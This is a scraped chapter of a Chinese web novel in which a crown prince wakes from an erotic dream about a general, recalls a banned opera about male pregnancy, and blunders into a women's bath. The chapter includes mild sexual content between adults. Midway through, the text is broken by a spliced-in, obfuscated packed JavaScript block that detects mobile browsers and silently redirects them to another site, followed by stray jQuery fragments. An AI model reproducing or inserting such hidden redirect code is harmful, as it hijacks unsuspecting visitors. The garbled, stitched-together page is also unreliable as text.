默认冷灰
24号文字
方正启体

4. 第 4 章

作者:老白涮肉坊本书字数:K更新时间:
    萧玠感觉嘴唇和齿关被撬动,有什么滑进口中,是郑绥的舌头。舌尖相触的一瞬间一些更久远的碎片从脑中闪过——甘露殿红帐摇曳,萧恒挟着脸亲吻秦灼。


    下一刻他被郑绥压在底下。


    萧恒脱掉秦灼衣袍时郑绥脱掉他的衣袍。萧恒注视秦灼郑绥注视他。郑绥吻着他注视他。


    萧玠有些喘不过气,皱着脸呼吸,叫:“绥郎。”


    郑绥抬起脸,问:“什么?”


    “我……有些难受。”


    “哪里难受?”


    萧玠张不开口。


    郑绥仍罩在他身上,垂手向下,抚摸着问:“这里吗?”


    他指上生了茧子,萧玠浑身一麻,更说不出话。


    郑绥仍低声问:“是这里吗,殿下?”


    萧玠呜咽一声,身子向上一弹。


    他睁开眼睛,案上蜡炬已灰。


    是个梦。


    这是……什么梦?


    萧玠轻轻喘息,察觉黏腻,心中有些害怕。朦胧间一动,只觉后腰一硌。


    是武人腰间的革带。


    他浑身一僵,垂头看向身下,自己枕着郑绥的一条手臂。


    郑绥衣衫俱全,和他相互枕藉着,这时也睁开眼,见萧玠神色骤然清醒,忙撑身起来,“臣酒后失仪,殿下……”


    他要拉萧玠,萧玠却霎时白了脸,揽衣跳下榻,鞋都来不及穿,只道:“你再睡一睡,我、我还有事,我该去磕头了,我先走了。”


    门扇砰地一响,在风中晃晃荡荡。萧玠落荒而逃的背影已然不见。


    郑绥手指缩了缩,重新落回膝上,将榻边的甲胄拾起来。


    ***


    阿子不敢走远,一直在隔壁厢房守着,听见门开的动静,还未出去,便见萧玠匆匆跑出院子,好半晌,才见郑绥踏出门来。


    听闻这位小郑将军比太子还要小些,看上去却更有年长的神气。此时弦月挂宫檐,郑绥已穿戴好甲胄,将盔抱在怀里,和刚来时没什么分别。只是脸色微酡,看得出浅吃过酒水。


    郑绥在屋檐下略站了站,不知想什么,过一会才戴好盔戴,迈步下阶。


    阿子在这时候迎上来,问:“将军要出宫吗?”


    郑绥点点头,“我本就是无诏跑来的,再逗留下去,只怕对殿下不利。”


    阿子晓得武将无诏返京是多大的过失,也不敢劝留,只问:“将军不等殿下回来?多少知会一声。”


    郑绥一顿,“还是劳烦内官替我转达吧。”刚要抬步,又嘱咐:“以后别给殿下找蜜煎佐药,看着煮些金银花水。他有肺疾,那些糖饵他吃不得。”


    阿子连忙应是。


    郑绥话毕,却没有立刻走动。他原地立了片刻,终于转过身,“我还有一事,要请教内官。”


    阿子忙道:“将军折煞奴婢,有话吩咐就是。”


    郑绥斟酌片刻,还是道:“殿下金枝玉叶,如今旁居外室……个中是何缘故,望内官告诉我,叫我走个安心。”


    阿子道:“殿下因为夏相公闭府之事心中郁郁,自请出宫的。”


    郑绥沉吟不语。


    天子舐犊情深,太子更是纯孝之人,很难只因国事而生龃龉。


    只怕还有旁的缘故。


    他问道:“殿下出宫前有没有什么异样,或者碰见什么人,遇着什么事?”


    阿子思索一会,突然眼睛一亮,道:“还真有。前一段陛下的千秋,教坊进宫献艺,殿下去听他们排戏,回来就不太对了……”


    ***


    萧玠跑入汤池时,四下空无一人。


    他脸仍红着,也来不及解衣,合身跳进池中。他在水下闭不长气,不一会便挣出池子,在水花波纹间轻轻喘息。


    梦中郑绥的气息仍在脸畔,那双手似乎仍抚身而过。萧玠浑身似被虫蚁爬过,一阵麻似一阵,鬼使神差地,双手探到衣摆之下。


    水声波动响起。


    萧玠紧紧闭目,腿有些站不住,贴着池壁往下滑。郑绥手上薄茧的触感在梦中也太过真实,余韵犹存在身。


    郑绥叹息般叫他,殿下。


    萧玠脑中啪地一响,眼前也有些朦胧。一片惊雷般的余声中,有袅袅曲声传来。


    是当日,他步入后园所听的折子。


    园中林花初绽,萧玠坐在栏边,听两名小生唱演。那二人一个扮君王一个扮将军,所唱正是今上初登基时郭雍容所献之曲。


    萧玠合掌数鼓点,正听那君王念道:“朕与许郎至此,何患香烟。”


    萧玠手掌一滞。


    微风乍起,扑簌簌一阵飞花迎面,他只是不觉。


    台上,君王问道:“朕肚里又藏着甚么?”


    将军道:“万岁腹中含日月,乃是我王朝好河山。”


    君王道:“令郎与河山在一处哩!”


    萧玠骤然立起。


    曲声戛然而止。


    萧玠问:“怎么不演下去?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566347|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    扮将军的小生上前,拱手道:“回千岁,后头的曲目陛下勒令删汰了,这出戏也禁演了好些年。只是里头的唱腔精绝,极锻炼功夫,咱们舍不得全然丢弃,常选它来开嗓练功。”


    萧玠声音发紧:“陛下为什么要禁这出戏?”


    众人面面相觑。帝心似海,向来难以揣摩。还是那小生乍着胆子,再拜道:“大抵是这戏牵涉龙阳,又关联男身孕子,太过淫佚狭邪,难登大雅之堂,故不叫演了。”


    萧玠耳边一片嗡然。


    龙阳育子……是狭邪吗?


    那你和他算什么,我算什么呢?


    他呆呆立住,落红飞入掌中,如此刻洁白溅落掌中。


    而消散不久的惊梦里,郑绥在吻他。


    萧玠浑身剧烈一抖,整个人贴紧池壁,大口呼吸。


    这个梦是不是就算龙阳?他是不是也是龙阳?他怎么就会是龙阳?


    而且……他为什么会梦到郑绥?


    他怎么能梦到郑绥……怎么能玷污郑绥呢?


    池中,萧玠茫然垂首,透过粼粼水面,望向自己双腿之间。这么看了许久,池面突然泛起涟漪,一圈,两圈。萧玠头颅渐渐低垂,身子颤抖得愈发厉害,终于把脸埋进双手,无声哭泣起来。


    不多时,萧玠哽咽声未止,已听有笑声脚步声逼近,是女孩子的声音。


    他慌忙抬头,这才看清四下布置。青帐低垂,刺绣芙蓉,汤水也只一池,不见什么规制。


    前代女乐兴盛,极得圣心,怀帝便将芙蓉汤池赐给教坊女伎,如此殊荣,前无古人。至奉皇五年贱籍取缔,“倡伎”之名也从此废除,称以种属,男呼郎君,女唤娘子。这芙蓉池仍流传下来,作一方“女娘池”。


    萧玠一时慌不择路,竟进了毗邻的芙蓉池子。


    若传出皇太子窥探众女沐浴的丑闻,前朝又是一场轩然大波,老师要如何强颜维护,阿爹……陛下,会不会以他这个儿子为耻?


    他本来就是孽子了。


    惶惑间,那两名女子已经推门而入,隔着屏风,依约能看清双双纠缠的影子。萧玠听得急促呼吸和珠玉纠缠之声,那少女正轻声唤道:“忆奴,好姐姐,你真是要我的命……”


    一场春梦初散不久,萧玠渐渐明白过来,不由脸红耳热。见那二人要往池中来,又不知去何处藏躲,衣衫微动,响起拨水之声,在空旷夜中尤为清晰。


    屏风外一声惊呼,忆奴已急声叱道:“谁在里面!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)